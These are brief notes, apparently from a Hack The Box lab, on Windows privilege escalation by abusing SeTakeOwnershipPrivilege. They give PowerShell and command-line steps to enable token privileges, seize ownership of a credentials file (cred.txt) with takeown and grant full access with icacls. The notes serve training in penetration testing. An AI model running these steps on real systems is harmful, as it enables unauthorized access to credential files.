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SeTakeOwnershipPrivilege

Enable SeTakeOwnershipPrivilege

Import-Module .\Enable-Privilege.ps1

.\EnableAllTokenPrivs.ps1

Using takeown to change ownership of a file to current user

takeown /f 'C:\Department Shares\Private\IT\cred.txt'
  • confirm ownership change
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
  • if file is still unreadable, use icalcs
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F